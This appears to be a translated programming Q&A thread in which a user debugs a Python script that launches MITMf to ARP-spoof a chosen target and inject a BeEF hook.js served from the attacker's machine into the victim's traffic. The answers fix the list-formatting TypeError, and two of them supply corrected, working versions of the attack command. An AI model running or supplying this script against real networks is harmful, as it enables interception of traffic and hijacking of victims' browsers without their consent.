我的代码是:
#! /usr/bin/env python
ip_addr = raw_input("Enter your target IP: ")
gateway = raw_input("Enter your gateway IP: ")
from subprocess import call
import subprocess
import os
os.chdir("/usr/share/mitmf/")
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
我的出局是:
Traceback (most recent call last):
File "./ARP_Beef.py", line 11, in <module>
subprocess.Popen(["python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js"] % (gateway, ip_addr), shell = False)
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'
我无法弄清楚出了什么问题。有人可以帮助我
答案 0 :(得分:0)
删除'['
和']'
"python mitmf.py --spoof --arp -i wlan0 --gateway %s --target %s --inject --js-url http://192.168.1.109:3000/hook.js" % (gateway, ip_addr)
答案 1 :(得分:0)
我想说:用单个列表元素来做:
subprocess.Popen(["python", "mitmf.py", "--spoof", "--arp", "-i", "wlan0", "--gateway", gateway, "--target", ip_addr, "--inject", "--js-url", "http://192.168.1.109:3000/hook.js"], shell = False)
docs.python.org:&#34;在Unix上,如果args是一个字符串,则该字符串被解释为要执行的程序的名称或路径。但是,只有才能将参数传递给程序。&#34;
答案 2 :(得分:0)
TypeError:%:&#39; list&#39;不支持的操作数类型和&#39;元组&#39;
这意味着你无法做到:
>>> ['%s'] % ('b',)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for %: 'list' and 'tuple'
您应该将每个命令行参数作为单独的列表项传递:
#!/usr/bin/env python
import subprocess
import sys
gateway, ip_addr = 'get them', 'however you like'
subprocess.check_call([sys.executable] +
'/usr/share/mitmf/mitmf.py --spoof --arp -i wlan0'.split() +
['--gateway', gateway, '--target', ip_addr] +
'--inject --js-url http://192.168.1.109:3000/hook.js'.split(),
cwd="/usr/share/mitmf/")